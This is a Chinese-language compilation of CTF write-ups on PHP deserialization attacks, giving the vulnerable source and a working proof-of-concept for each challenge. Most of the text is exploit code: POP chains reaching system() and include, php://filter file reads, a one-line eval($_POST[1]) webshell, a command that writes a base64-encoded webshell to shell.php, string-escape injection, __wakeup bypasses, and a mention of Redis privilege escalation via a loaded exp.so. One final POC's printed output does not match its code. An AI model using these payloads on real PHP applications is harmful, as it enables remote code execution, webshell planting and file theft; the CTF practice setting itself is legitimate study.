反序列化圣经

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
__construct()//当一个对象创建时被调用

__destruct() //当一个对象销毁时被调用

__toString() //当一个对象被当作一个字符串使用

__sleep()//在对象在被序列化之前运行

__wakeup()//将在反序列化之后立即被调用

__get()//获得一个对象的成员变量,此处是指别的类

__set()//用于将数据写入不可访问的属性

__invoke()//这个函数当尝试将对象调用为函数时会触发

__call()//当调用一个对象中的不存在的方法的时候就会执行这个函数

[MRCTF2020]Ezpop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php

class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}

pop:

1
Modifier::append->Modifier::__invoke->Test::__get->Show::__toString->Show::__wakeup

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

class Modifier {
protected $var = "php://filter/convert.base64-encode/resource=flag.php";
}

class Show{
public $source;
public $str;
}

class Test{
public $p;
}

$a = new Show();
$a->source = new Show();
$a->source->str = new Test();
$a->source->str->p = new Modifier();

echo urlencode(serialize($a));
//由于是protected所以要url编码一下

[NPUCTF2020]ReadlezPHP

image-20240611175647733

找到入口,拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
 <?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}

@$ppp = unserialize($_GET["data"]);

尝试构造执行,发现怎么什么都不执行,最后测试assert可以执行

1
2
3
4
5
6
7
8
9
10
<?php
class HelloPhp
{
public $a = "eval(\$_POST[1]);";
public $b = "assert";
}
$a=new HelloPhp();
echo urlencode(serialize($a));

?>

传入值然后蚁剑连接绕过disable_functionimage-20240611180538134

选这个直接根目录找flag就行

[网鼎杯 2020 朱雀组]phpweb

image-20240611174231646

抓包看到这两个参数,尝试直接执行命令,发现执行不了,猜测存在过滤,我们尝试文件读取,发现读取file_put_contents

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>

此处骚套路就是我们注意到内部的test类也可以操纵fun和p我们可以利用反序列化函数来反序列化我们的数据去调用函数执行命令

实测这里不能写文件,但是可以读取

1
2
3
4
5
6
7
8
9
<?php
class Test {
var $p = "cat /tmp/flagoefiu4r93";
var $func = "system";
}
$a=new Test();
echo urlencode(serialize($a));
?>
//发现flag不在根目录我们直接 find / -name flag

[GDOUCTF 2023]反方向的钟

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
 <?php
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class teacher{
public $name;
public $rank;
private $salary;
public function __construct($name,$rank,$salary = 10000){
$this->name = $name;
$this->rank = $rank;
$this->salary = $salary;
}
}

class classroom{
public $name;
public $leader;
public function __construct($name,$leader){
$this->name = $name;
$this->leader = $leader;
}
public function hahaha(){
if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
return False;
}
else{
return True;
}
}
}

class school{
public $department;
public $headmaster;
public function __construct($department,$ceo){
$this->department = $department;
$this->headmaster = $ceo;
}
public function IPO(){
if($this->headmaster == 'ong'){
echo "Pretty Good ! Ctfer!\n";
echo new $_POST['a']($_POST['b']);
}
}
public function __wakeup(){
if($this->department->hahaha()) {
$this->IPO();
}
}
}

if(isset($_GET['d'])){
unserialize(base64_decode($_GET['d']));
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class teacher{
public $name = "ing";
public $rank = 'department';
}

class classroom{
public $name = 'one class';
public $leader;
}

class school{
public $department;
public $headmaster = 'ong';
}

$a = new school();
$a->department = new classroom();
$a->department->leader = new teacher();

echo base64_encode(serialize($a));

post:

1
2
a=FileSystemIterator&b=./
SplFileObject php://filter/convert.base64-encode/resource=flag.php

get:

1
/?d=Tzo2OiJzY2hvb2wiOjI6e3M6MTA6ImRlcGFydG1lbnQiO086OToiY2xhc3Nyb29tIjoyOntzOjQ6Im5hbWUiO3M6OToib25lIGNsYXNzIjtzOjY6ImxlYWRlciI7Tzo3OiJ0ZWFjaGVyIjoyOntzOjQ6Im5hbWUiO3M6MzoiaW5nIjtzOjQ6InJhbmsiO3M6MTA6ImRlcGFydG1lbnQiO319czoxMDoiaGVhZG1hc3RlciI7czozOiJvbmciO30=

[NISACTF 2022]popchains

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php

echo 'Happy New Year~ MAKE A WISH<br>';

if(isset($_GET['wish'])){
@unserialize($_GET['wish']);
}
else{
$a=new Road_is_Long;
highlight_file(__FILE__);
}

class Road_is_Long{
public $page;
public $string;
public function __construct($file='index.php'){
$this->page = $file;
}
public function __toString(){
return $this->string->page;
}

public function __wakeup(){
if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";
}
}
}

class Try_Work_Hard{
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Make_a_Change{
public $effort;
public function __construct(){
$this->effort = array();
}

public function __get($key){
$function = $this->effort;
return $function();
}
}

pop:

1
Try_Work_Hard::append->Try_Work_Hard::__invoke->Make_a_Change::__get->Road_is_Long::__toString->Road_is_Long->__wakeup

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

class Road_is_Long{
public $page;
public $string;
}

class Try_Work_Hard{
protected $var = "php://filter/convert.base64-encode/resource=/flag";
}

class Make_a_Change{
public $effort;
}

$a = new Road_is_Long();
$a->page = new Road_is_Long();
$a->page->string = new Make_a_Change();
$a->page->string->effort = new Try_Work_Hard();

echo urlencode(serialize($a));

[HZNUCTF 2023 preliminary]ppppop

进去发现空白页,查找发现cookie存在base64加密解密出O:4:”User”:1:{s:7:”isAdmin”;b:0;}

我们尝试构造O:4:”User”:1:{s:7:”isAdmin”;b:1;}拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
 <?php
error_reporting(0);
include('utils.php');

class A {
public $className;
public $funcName;
public $args;

public function __destruct() {
$class = new $this->className;
$funcName = $this->funcName;
$class->$funcName($this->args);
}
}

class B {
public function __call($func, $arg) {
$func($arg[0]);
}
}

if(checkUser()) {
highlight_file(__FILE__);
$payload = strrev(base64_decode($_POST['payload']));
unserialize($payload);
}

尝试构造poc:

1
2
3
4
5
6
7
8
9
10
11
<?php
class A {
public $className = "B";
public $funcName = "system";
public $args = "echo 'PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+' | base64 -d >shell.php";
}

class B {
}
$a = new A();
echo base64_encode(strrev(serialize($a)));

蚁剑连接发现到处找不到flag,也没有数据库,于是尝试看看是不是在环境变量中,最后在phpinfo()和env中都发现了flag

NSS prize_p5

字符串逃逸

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
 <?php
error_reporting(0);

class catalogue{
public $class;
public $data;
public function __construct()
{
$this->class = "error";
$this->data = "hacker";
}
public function __destruct()
{
echo new $this->class($this->data);
}
}
class error{
public function __construct($OTL)
{
$this->OTL = $OTL;
echo ("hello ".$this->OTL);
}
}
class escape{
public $name = 'OTL';
public $phone = '123666';
public $email = 'sweet@OTL.com';
}
function abscond($string) {
$filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello');
$filter = '/' . implode('|', $filter) . '/i';
return preg_replace($filter, 'hacker', $string);
}
if(isset($_GET['cata'])){
if(!preg_match('/object/i',$_GET['cata'])){
unserialize($_GET['cata']);
}
else{
$cc = new catalogue();
unserialize(serialize($cc));
}
if(isset($_POST['name'])&&isset($_POST['phone'])&&isset($_POST['email'])){
if (preg_match("/flag/i",$_POST['email'])){
die("nonono,you can not do that!");
}
$abscond = new escape();
$abscond->name = $_POST['name'];
$abscond->phone = $_POST['phone'];
$abscond->email = $_POST['email'];
$abscond = serialize($abscond);
$escape = get_object_vars(unserialize(abscond($abscond)));
if(is_array($escape['phone'])){
echo base64_encode(file_get_contents($escape['email']));
}
else{
echo "I'm sorry to tell you that you are wrong";
}
}
}
else{
highlight_file(__FILE__);
}
?>

我们要达到的效果是使email=flag然后利用file_get_contents读取flag

但是他做了过滤,我们可以利用字符串逃逸漏洞尝试逃逸出一个email=flag

注意phone是数组,当序列化数组的时候和字符串不一样

1
2
3
4
5
6
7
8
9
10
11
<?php

class escape{
public $name = '1';
public $phone = [2];
public $email = 'flag';
}

$a = new escape();
echo serialize($a);
//O:6:"escape":3:{s:4:"name";s:1:"1";s:5:"phone";a:1:{i:0;i:2;}s:5:"email";s:4:"flag";}

我们要逃逸出来的是

1
";}s:5:"email";s:5:"/flag";}

所以最后传参

1
2
3
?cata=1(随便写)
post:
name=test&phone[]=hellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohello";}s:5:"email";s:5:"/flag";}&email=test

[UUCTF 2022 新生赛]ez_unser

调整地址,间接传参

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
 <?php
show_source(__FILE__);

class test{
public $a;
public $b;
public $c;
public function __construct(){
$this->a=1;
$this->b=2;
$this->c=3;
}
public function __wakeup(){
$this->a='';
}
public function __destruct(){
$this->b=$this->c;
eval($this->a);
}
}
$a=$_GET['a'];
if(!preg_match('/test":3/i',$a)){
die("你输入的不正确!!!搞什么!!");
}
$bbb=unserialize($_GET['a']);

此处无法绕过__wakeup方法,但是b和c我们是可控的,我们可以利用

1
2
public function __destruct(){
$this->b=$this->c;

让a的内存地址指向b的内存地址然后给c赋值就可以达到rce的效果

1
2
3
4
5
6
7
8
9
10
11
<?php

class test{
public $a;
public $b;
public $c = "phpinfo();";
}

$a = new test();
$a->a = &$a->b;
echo serialize($a);

[SWPUCTF 2022 新生赛]ez_1zpop

简单的pop链构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
 <?php
error_reporting(0);
class dxg
{
function fmm()
{
return "nonono";
}
}

class lt
{
public $impo='hi';
public $md51='weclome';
public $md52='to NSS';
function __construct()
{
$this->impo = new dxg;
}
function __wakeup()
{
$this->impo = new dxg;
return $this->impo->fmm();
}

function __toString()
{
if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)
return $this->impo->fmm();
}
function __destruct()
{
echo $this;
}
}

class fin
{
public $a;
public $url = 'https://www.ctfer.vip';
public $title;
function fmm()
{
$b = $this->a;
$b($this->title);
}
}

if (isset($_GET['NSS'])) {
$Data = unserialize($_GET['NSS']);
} else {
highlight_file(__file__);
}

1
pop: fin::fmm->lt::__toString->lt::__destruct

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class dxg
{
}

class lt
{
public $impo;
public $md51='QNKCDZO';
public $md52='240610708';
}

class fin
{
public $a = "system";
public $url;
public $title = "ls";
}

$a = new lt();
$a->impo = new fin();
echo serialize($a);
//O:2:"lt":5:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";N;s:5:"title";s:2:"ls";}s:4:"md51";s:7:"QNKCDZO";s:4:"md52";s:9:"240610708";}

注意这里是要绕过__wakerup的

[天翼杯 2021]esay_eval

disable_function绕过,__wakeup绕过,涉及提权打redis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
 <?php
class A{
public $code = "";
function __call($method,$args){
eval($this->code);

}
function __wakeup(){
$this->code = "";
}
}

class B{
function __destruct(){
echo $this->a->a();
}
}
if(isset($_REQUEST['poc'])){
preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
if (isset($ret[1])) {
foreach ($ret[1] as $i) {
if(intval($i)!==1){
exit("you want to bypass wakeup ? no !");
}
}
unserialize($_REQUEST['poc']);
}


}else{
highlight_file(__FILE__);
}

此处就是绕过__wakeup就行了但是他加了过滤,所以我们要绕过

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class A{
public $code = "eval(\$_POST[1]);";
}

class B{
public $a;
}

$a = new B();
$a->a = new A();
echo serialize($a);
//O:1:"B":1:{s:1:"a";O:1:"a":2:{s:4:"code";s:16:"eval($_POST[1]);";}}
//由于大小写不敏感所以换成小写就可以绕过过滤

方法一:

发现没办法执行命令,只能猜测有disable_functions,我们可以利用传参连接蚁剑绕过

image-20240610230944019

方法二:

此处无法直接执行命令,可以写马然后蚁剑连接连上之后,发现了vim缓存泄露,存在着一个config.php.swp

发现redis密码,尝试提权,利用上传加载执行exp.so然后利用语法执行命令

参考文章:https://blog.csdn.net/qq_73767109/article/details/131378773

[FSCTF 2023]ez_php2

内部数组赋值,怎么把一个数组键值对赋给变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
 <?php
highlight_file(__file__);
Class Rd{
public $ending;
public $cl;
public $poc;
public function __destruct()
{
echo "All matters have concluded";
die($this->ending);
}
public function __call($name, $arg)
{
foreach ($arg as $key =>$value)
{

if($arg[0]['POC']=="1111")
{
echo "1";
$this->cl->var1 = "system";
}
}
}
}


class Poc{
public $payload;

public $fun;

public function __set($name, $value)
{
$this->payload = $name;
$this->fun = $value;
}

function getflag($paylaod)
{
echo "Have you genuinely accomplished what you set out to do?";
file_get_contents($paylaod);
}
}

class Er{
public $symbol;
public $Flag;

public function __construct()
{
$this->symbol = True;
}

public function __set($name, $value)
{
$value($this->Flag);
}


}

class Ha{
public $start;
public $start1;
public $start2;
public function __construct()
{
echo $this->start1."__construct"."</br>";
}

public function __destruct()
{
if($this->start2==="11111") {
$this->start1->Love($this->start);
echo "You are Good!";
}
}
}


if(isset($_GET['Ha_rde_r']))
{
unserialize($_GET['Ha_rde_r']);
} else{
die("You are Silly goose!");
}
?>
1
pop: Er::__set->Rd::__call->Ha__destruct

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
Class Rd{
public $ending;
public $cl;
public $poc;
}


class Er{
public $symbol;
public $Flag = "ls";
}

class Ha{
public $start = ['POC'=>'1111'];
public $start1;
public $start2 = "11111";
}

$a = new Ha();
$a->start1 = new Rd();
$a->start1->cl = new Er();
echo serialize($a);

此处不好理解的或者说是拓展的知识点就是

1
public $start = ['POC'=>'1111'];

[GHCTF 2024 新生赛]ezzz_unserialize

pop链构造加两次md5然后等于某个数字

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
 <?php
error_reporting(0);
class Sakura{
public $apple;
public $strawberry;
public function __construct($a){
$this -> apple = $a;
}
function __destruct()
{
echo $this -> apple;
}
public function __toString()
{
$new = $this -> strawberry;
return $new();
}

}

class NoNo {
private $peach;

public function __construct($string) {
$this -> peach = $string;
}

public function __get($name) {
$var = $this -> $name;
$var[$name]();
}
}

class BasaraKing{
public $orange;
public $cherry;
public $arg1;
public function __call($arg1,$arg2){
$function = $this -> orange;
return $function();
}
public function __get($arg1)
{
$this -> cherry -> ll2('b2');
}

}

class UkyoTachibana{
public $banana;
public $mangosteen;

public function __toString()
{
$long = @$this -> banana -> add();
return $long;
}
public function __set($arg1,$arg2)
{
if($this -> mangosteen -> tt2)
{
echo "Sakura was the best!!!";
}
}
}

class E{
public $e;
public function __get($arg1){
array_walk($this, function ($Monday, $Tuesday) {
$Wednesday = new $Tuesday($Monday);
foreach($Wednesday as $Thursday){
echo ($Thursday.'<br>');
}
});
}
}

class UesugiErii{
protected $coconut;

protected function addMe() {
return "My time with Sakura was my happiest time".$this -> coconut;
}

public function __call($func, $args) {
call_user_func([$this, $func."Me"], $args);
}
}
class Heraclqs{
public $grape;
public $blueberry;
public function __invoke(){
if(md5(md5($this -> blueberry)) == 123) {
return $this -> grape -> hey;
}
}
}

class MaiSakatoku{
public $Carambola;
private $Kiwifruit;

public function __set($name, $value)
{
$this -> $name = $value;
if ($this -> Kiwifruit = "Sakura"){
strtolower($this-> Carambola);
}
}
}

if(isset($_POST['GHCTF'])) {
unserialize($_POST['GHCTF']);
} else {
highlight_file(__FILE__);
}



链子

1
2
3
E::__get->Heraclqs::__invoke->BasaraKing::__call->
//上面推不动
E::__get->Heraclqs::__invoke->Sakura::__toString->Sakura::__destruct

要满足md5(md5($this -> blueberry) == 123

爆破一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import hashlib
import itertools
import string

charset = string.digits+string.ascii_letters
temp = itertools.permutations(charset,3)
#爆破字符
ss = "123"
for i in temp:
value = "".join(i)
hash1 = hashlib.md5(value.encode()).hexdigest()
result = hashlib.md5(hash1.encode()).hexdigest()
if result[:3] == ss and result[3].isdigit() != True:
print(value)
print(result)

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
class Sakura{
public $apple;
public $strawberry;
}


class E{
public $e;
}

class Heraclqs{
public $grape;
public $blueberry = "2tL";
}

$a = new Sakura();
$a->apple = new Sakura();
$a->apple->strawberry = new Heraclqs();
$a->apple->strawberry->grape = new E();
$a->apple->strawberry->grape->SplFileObject = "/1_ffffffflllllagggggg";
echo serialize($a);

//此处是先用FileSystemIterator = "/"读取根目录都有什么
//再用SplFileObject读取文件
//注意是spl不是sql

可遍历目录类

可遍历目录类分为下面三个:

DirectoryIterator 类
FilesystemIterator 类
GlobIterator 类

实测前俩成功

[SWPUCTF 2023 秋季新生赛]UnS3rialize

绕过__wakeup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
 <?php
highlight_file(__FILE__);
error_reporting(0);
class NSS
{
public $cmd;
function __invoke()
{
echo "Congratulations!!!You have learned to construct a POP chain<br/>";
system($this->cmd);
}
function __wakeup()
{
echo "W4keup!!!<br/>";
$this->cmd = "echo Welcome to NSSCTF";
}
}


class C
{
public $whoami;
function __get($argv)
{
echo "what do you want?";
$want = $this->whoami;
return $want();
}
}

class T
{
public $sth;
function __toString()
{
echo "Now you know how to use __toString<br/>There is more than one way to trigger";
return $this->sth->var;
}
}

class F
{
public $user = "nss";
public $passwd = "ctf";
public $notes;
function __construct($user, $passwd)
{
$this->user = $user;
$this->passwd = $passwd;
}
function __destruct()
{
if ($this->user === "SWPU" && $this->passwd === "NSS") {
echo "Now you know how to use __construct<br/>";
echo "your notes".$this->notes;
}else{
die("N0!");
}
}
}



if (isset($_GET['ser'])) {
$ser = unserialize(base64_decode($_GET['ser']));
} else {
echo "Let's do some deserialization :)";
}

分析

1
2
3
NSS::__invoke  ->C::__get->T::__toString->F::__destruct

需要绕过NSS的__wakeup

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
class NSS
{
public $cmd = "cat /flag";
}

class C
{
public $whoami;
}

class T
{
public $sth;
}

class F
{
public $user = "SWPU";
public $passwd = "NSS";
public $notes;
}
$a = new F();
$a->notes = new T();
$a->notes->sth = new C();
$a->notes->sth->whoami = new NSS();
//$c = serialize($a);
$c = base64_encode('O:1:"F":3:{s:4:"user";s:4:"SWPU";s:6:"passwd";s:3:"NSS";s:5:"notes";O:1:"T":1:{s:3:"sth";O:1:"C":1:{s:6:"whoami";O:3:"NSS":2:{s:3:"cmd";s:9:"cat /flag";}}}}');
echo $c;

[网鼎杯 2020 青龙组]AreUSerialz

字符串和数字若比较和强比较区别

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
 <?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}

观察代码不难发现我们需要利用的点是在

1
2
3
4
5
6
7
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

我们需要读取flag即可没必要调用process中的put_contents

所以我们开始分析

要进入到read()函数就需要op=2,但是下面的__destruct()魔术方法会判断op是否强等于字符串2,如果等于他就会把字符串1赋值给op

1
2
3
4
5
6
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

我们只需要给他一个数字2就可以绕过这个了

此时构造poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class FileHandler {

public $op = 2;
public $filename = "php://filter/base64-encode/resource=flag.php";
public $content = "a";


}

$obj = new FileHandler();
echo serialize($obj);

// 最后生成如下
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:3:"aaa";}